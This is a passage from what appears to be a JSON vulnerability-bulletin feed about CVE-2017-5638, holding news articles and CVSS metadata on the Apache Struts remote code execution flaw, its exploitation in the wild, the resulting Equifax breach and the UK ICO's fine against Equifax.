certain UK and Canadian residents was part of this breach.\n\nThis is obviously bad news for consumers and it will only increase the lack of trust they have towards corporations that collect and store their data. It also serves as a reminder that there are ways to be proactive and exercise your right to have access to your information and put certain restrictions in place to make identity theft harder.\n\nEquifax is offering a free identity theft protection and credit file monitoring to all of its U.S. customers while still investigating the intrusion, working along with a private firm and law enforcement. More information about this breach and how to apply for ID theft protection can be found by going to [equifaxsecurity2017.com](<https://www.equifaxsecurity2017.com/>), a website Equifax has just set up.\n\nThe post [Equifax breach: What you need to know [updated]](<https://blog.malwarebytes.com/cybercrime/2017/09/equifax-breach-what-you-need-to-know/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-09-08T07:02:47", "title": "Equifax breach: What you need to know [updated]", "type": "malwarebytes", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-09-08T07:02:47", "id": "MALWAREBYTES:4993027161793E66024E0B42522BB53D", "href": "https://blog.malwarebytes.com/cybercrime/2017/09/equifax-breach-what-you-need-to-know/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "atlassian": [{"lastseen": "2021-07-28T14:40:47", "description": "*Description*\r\n\r\nBamboo used a version of Struts 2 that was vulnerable to\u00a0[CVE-2017-5638|https://cwiki.apache.org/confluence/display/WW/S2-045].

agency Equifax has been issued a \u00a3500,000 fine by the UK's privacy watchdog for its last year's [massive data breach](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) that exposed personal and financial data of hundreds of millions of its customers. \n \nYes, \u00a3500,000\u2014that's the maximum fine allowed by the UK's Data Protection Act 1998, though the penalty is apparently a small figure for a $16 billion company. \n \nIn July this year, the UK's data protection watchdog issued the maximum allowed fine of [\u00a3500,000 on Facebook](<https://thehackernews.com/2018/07/facebook-cambridge-analytica.html>) over the [Cambridge Analytica scandal](<https://thehackernews.com/2018/03/facebook-cambridge-analytica.html>), saying the social media giant Facebook failed to prevent its citizens' data from falling into the wrong hands. \n \n\n\n## Flashback: The Equifax Data Breach 2017\n\n \nEquifax suffered a massive data breach last year between mid-May and the end of July, exposing highly [sensitive data of as many as 145 million people](<https://thehackernews.com/2017/10/equifax-credit-security-breach.html>) globally. \n \nThe stolen information included victims' names, dates of birth, phone numbers, driver's license details, addresses, and social security numbers, along with credit card information and personally identifying information (PII) for hundreds of thousands of its consumers. \n \nThe data breach occurred because the company failed to patch a [critical Apache Struts 2 vulnerability](<https://thehackernews.com/2017/09/equifax-apache-struts.html>) ([CVE-2017-5638](<https://thehackernews.com/2017/03/apache-struts-framework.html>)) on time, for which patches were already issued by the respected companies. \n \n\n\n## Why U.K. Has Fined a US Company?\n\n \nThe UK's Information Commissioner's Office (ICO), who launched a joint investigation into the breach with the Financial Conduct Authority, has now [issued](<https://ico.org.uk/about-the-ico/news-and-events/news-and-blogs/2018/09/credit-reference-agency-equifax-fined-for-security-breach/>) its largest possible monetary penalty under the country's Data Protection Act for the massive data breach\u2014\u00a3500,000, which equals to around $665,000. \n \nThe ICO said that although the [cyber attack compromised Equifax](<https://thehackernews.com/2017/09/equifax-data-breach.html>) systems in the United States, the company \"failed to take appropriate steps\" to protect the personal information of its 15 million UK customers. \n \nThe ICO investigation revealed \"multiple failures\" at the company like keeping users' personal information longer than necessary, which resulted in: \n\n\n * 19,993 UK customers had their names, dates of birth, telephone numbers and driving license numbers exposed.\n * 637,430 UK customers had their names, dates of birth and telephone numbers exposed.\n * Up to 15 million UK customers had names and dates of birth exposed.\n * Some 27,000 Britishers also had their Equifax account email addresses swiped.\n * 15,000 UK customers also had their names, dates of birth, addresses, account usernames and plaintext passwords, account recovery secret questions, and answers, obscured credit card numbers, and spending amounts stolen by hackers.\n \n\n\n## Breach Was Result of Multiple Failures at Equifax\n\n \nThe ICO said that Equifax had also been warned about a [critical Apache Struts 2 vulnerability](<https://thehackernews.com/2017/03/apache-struts-framework.html>) in its systems by the United States Department of Homeland Security (DHS) in March 2017, but the company did not take appropriate steps to fix the issue. \n \nInitially, it was also reported that the company kept news of the [breach hidden for a month](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) after its internal discovery, giving three senior executives at Equifax time to sell almost $2 million worth of its shares, though the company denied such claims. \n \nSince the data breach happened before the EU's General Data Protection Regulation (GDPR) took effect in May 2018, the maximum fine of \u00a3500,000 imposed under the UK's old Data Protection Act 1998 is still lesser. \n \nThe penalty could have been much larger had it fallen under GDPR, wherein a company could face a [maximum fine of 20 million euros](<https://thehackernews.com/2017/08/data-breach-security-law.html>) or 4 percent of its annual global revenue, whichever is higher, for such a privacy breach. \n \nIn response to the ICO's penalty, Equifax said that the company has fully cooperated with the ICO throughout the investigation that it is \"disappointed in the findings and the penalty.\" \n \nEquifax received the Monetary Penalty Notice from the ICO on Wednesday and can appeal the penalty.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH",

vulnerability in the popular Apache Struts web application framework, which is being actively exploited in the wild. \n \nApache Struts is a free, open-source, Model-View-Controller (MVC) framework for creating elegant, modern Java web applications, which supports REST, AJAX, and JSON. \n \nIn a [blog post](<http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>) published Monday, Cisco's Threat intelligence firm Talos announced the team observed a number of active attacks against the zero-day vulnerability (CVE-2017-5638) in Apache Struts. \n \nAccording to the researchers, the issue is a remote code execution vulnerability in the Jakarta Multipart parser of Apache Struts that could allow an attacker to execute malicious commands on the server when uploading files based on the parser. \n\n\n> \"It is possible to perform an RCE attack with a malicious Content-Type value,\" [warned](<https://cwiki.apache.org/confluence/display/WW/S2-045>) Apache. \"If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.\"\n\nThe vulnerability, documented at Rapid7's Metasploit Framework [GitHub site](<https://github.com/rapid7/metasploit-framework/issues/8064>), has been patched by Apache. So, if you are using the Jakarta-based file upload Multipart parser under Apache Struts 2, you are advised to upgrade to Apache Struts version 2.3.32 or 2.5.10.1 immediately. \n \n\n\n### Exploit Code Publicly Released\n\n \nSince the Talos researchers detected public proof-of-concept (PoC) exploit code (which was uploaded to a Chinese site), the vulnerability is quite dangerous. \n \nThe researchers even detected \"a high number of exploitation events,\" the majority of which seem to be leveraging the publicly released PoC that is being used to run various malicious commands. \n\n\n[](<https://2.bp.blogspot.com/-OMaYI0kDfZk/WME-W6XvmwI/AAAAAAAArtc/4rw52IxHjJYLJOlufdQEoxxQwjYWAbGmQCLcB/s1600/apache-exploit-code.png>)\n\nIn some cases, the attackers executed simple \"whoami\" commands to see if the target system is vulnerable, while in others, the malicious attacks turned off firewall processes on the target and dropped payloads. \n\n\n[](<https://2.bp.blogspot.com/-1fS7Z-ZsPgA/WME-E_vWvTI/AAAAAAAArtY/k_8FmAtSwaU9ICPEjN1gQMTdPHsQSRyFACLcB/s1600/apache-exploit.png>)\n\n \n\n\n> \"Final steps include downloading a malicious payload from a web server and execution of said payload,\" the researchers say. \"The payloads have varied but include an IRC bouncer, a DoS bot, and a sample related to the Bill Gates botnet... A payload is downloaded and executed from a privileged account.\"\n\nAttackers also attempted to gain persistence on infected hosts by adding a binary to the boot-up routine. \n \nAccording to the researchers, the attackers tried to copy the file to a benign directory and ensure_ \"that both the executable runs and that the firewall service will be disabled when the system boots.\"_ \n \nBoth Cisco and Apache researchers urge administrators to upgrade their systems to Apache Struts version 2.3.32 or 2.5.10.1 as soon as possible. Admins can also switch to a different [implementation](<https://cwiki.apache.org/confluence/display/WW/File+Upload#FileUpload-AlternateLibraries>) of the Multipart parser.\n", "cvss3": {}, "published": "2017-03-09T01:03:00", "type": "thn", "title": "New Apache Struts Zero-Day Vulnerability Being Exploited in the Wild", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-09T12:03:10", "id": "THN:2707247140A4F620671B33D68FEB1EA9", "href": "https://thehackernews.com/2017/03/apache-struts-framework.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-01-27T09:17:55", "description": "[
